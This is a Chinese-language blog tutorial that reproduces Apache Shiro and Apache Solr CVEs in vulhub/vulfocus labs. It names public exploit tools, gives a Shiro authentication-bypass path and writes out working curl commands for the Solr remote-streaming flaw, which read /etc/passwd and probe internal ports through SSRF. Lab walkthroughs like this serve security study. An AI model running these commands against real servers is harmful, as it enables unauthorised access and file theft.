框架漏洞-CVE复现-Apache Shiro+Apache Solr

什么是框架?

       就是别人写好包装起来的一套工具,把你原先必须要写的,必须要做的一些复杂的东西都写好了放在那里,你只要调用他的方法,就可以实现一些本来要费好大劲的功能。

         如果网站的功能是采用框架开发的,那么挖掘功能的漏洞就相当于在挖掘框架自身的漏洞。如果框架产生漏洞也会对使用框架的网站产生影响。

 

常见语言开发框架:

PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等

JAVA:Spring MyBatis Hibernate Struts2 Springboot等

Python:Django Flask Bottle Turbobars Tornado Web2py等

Javascript:Vue.js Node.js Bootstrap JQuery Angular等

 

Apache Shiro-组件框架安全

描述:Apache Shiro是一个强大且易用的Java安全框架,用于身份验证、授权、密码和会话管理。

判断:大多会发生在登录处,返回包里包含remeberMe=deleteMe字段。

 

漏洞复现: Shiro <= 1.2.4 默认密钥致命令执行漏洞(CVE_2016_4437

描述:该漏洞源于程序未能正确配置‘remember me’功能使用的密钥。攻击者可通过发送带有特制参数的请求利用该漏洞执行任意代码或访问受限制内容。

影响版本:Apache Shiro 1.0.0版本至1.2.4版本中存在信息泄露漏洞

使用vulfocus靶场启动环境

框架漏洞-CVE复现-Apache Shiro+Apache Solr_第1张图片

直接使用工具利用漏洞

工具:https://github.com/ghealer/GUI_Tools

框架漏洞-CVE复现-Apache Shiro+Apache Solr_第2张图片

输入目标url开始检测漏洞

框架漏洞-CVE复现-Apache Shiro+Apache Solr_第3张图片

成功获取利用链之后执行命令

框架漏洞-CVE复现-Apache Shiro+Apache Solr_第4张图片

 

漏洞复现:Shiro < 1.5.2 验证绕过漏洞(CVE-2020-1957)

描述:Shiro框架通过拦截器功能来对用户访问权限进行控制,如anon, authc等拦截器。anon为匿名拦截器,不需要登录即可访问;authc为登录拦截器,需要登录才可以访问。主要是Spring web在匹配url的时候没有匹配上/导致绕过

使用vulhub靶场启动环境

框架漏洞-CVE复现-Apache Shiro+Apache Solr_第5张图片

点击login和Accout info都会跳转到如下登录验证

框架漏洞-CVE复现-Apache Shiro+Apache Solr_第6张图片

直接访问poc/xxx/..;/admin/ 绕过验证,进入后台

框架漏洞-CVE复现-Apache Shiro+Apache Solr_第7张图片

 

 

Apache Solr-组件框架安全

描述:Apache Solr是一个开源的搜索服务,使用Java语言开发,主要基于HTTP和Apache Lucene实现的。Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。

漏洞复现:solr 远程命令执行 (CVE-2019-17558)

描述:Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助自定义的Velocity模板功能,利用Velocity-SSTI漏洞在Solr系统上执行任意代码。

使用vulfocus靶场启动环境

框架漏洞-CVE复现-Apache Shiro+Apache Solr_第8张图片

直接使用漏洞利用工具检测

工具:https://github.com/jas502n/solr_rce

输入命令:python solr_rce.py http://目标ip:端口 要执行的命令

使用python2运行

框架漏洞-CVE复现-Apache Shiro+Apache Solr_第9张图片

成功执行命令

框架漏洞-CVE复现-Apache Shiro+Apache Solr_第10张图片

 

漏洞复现:Apache Solr 文件读取&SSRF (CVE-2021-27905)

描述:Apache Solr的某些功能存在过滤不严格,在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或文件读取漏洞。

影响版本:全版本官方拒绝修复漏洞

1.使用vulhub靶场启动环境,点击core admin 创建数据库。因为是靶场,需要自己创建

框架漏洞-CVE复现-Apache Shiro+Apache Solr_第11张图片

2.创建完成,访问:/solr/admin/cores?indexInfo=false&wt=json  获取数据库名

框架漏洞-CVE复现-Apache Shiro+Apache Solr_第12张图片

3.通过命令行开启远程任意文件读取

命令行执行命令:

curl -i -s -k -X $'POST' \

    -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \

    $'http://目标ip:端口/solr/数据库名/config'

成功开启:

框架漏洞-CVE复现-Apache Shiro+Apache Solr_第13张图片

4.读取敏感文件

命令行执行命令:curl -i -s -k 'http://目标ip:端口/solr/数据库名/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

成功读取敏感文件:

框架漏洞-CVE复现-Apache Shiro+Apache Solr_第14张图片

5.内网探针

命令行执行命令:curl -i -s -k 'http://目标ip:端口/solr/数据库名/debug/dump?param=ContentStreams&stream.url=http://127.0.0.1:80'

成功探针到目标内网80端口信息:

框架漏洞-CVE复现-Apache Shiro+Apache Solr_第15张图片

查看返回信息,发现在80端口部署了nginx服务

框架漏洞-CVE复现-Apache Shiro+Apache Solr_第16张图片

 

 

 

你可能感兴趣的:(服务攻防,apache,solr,网络安全,web安全)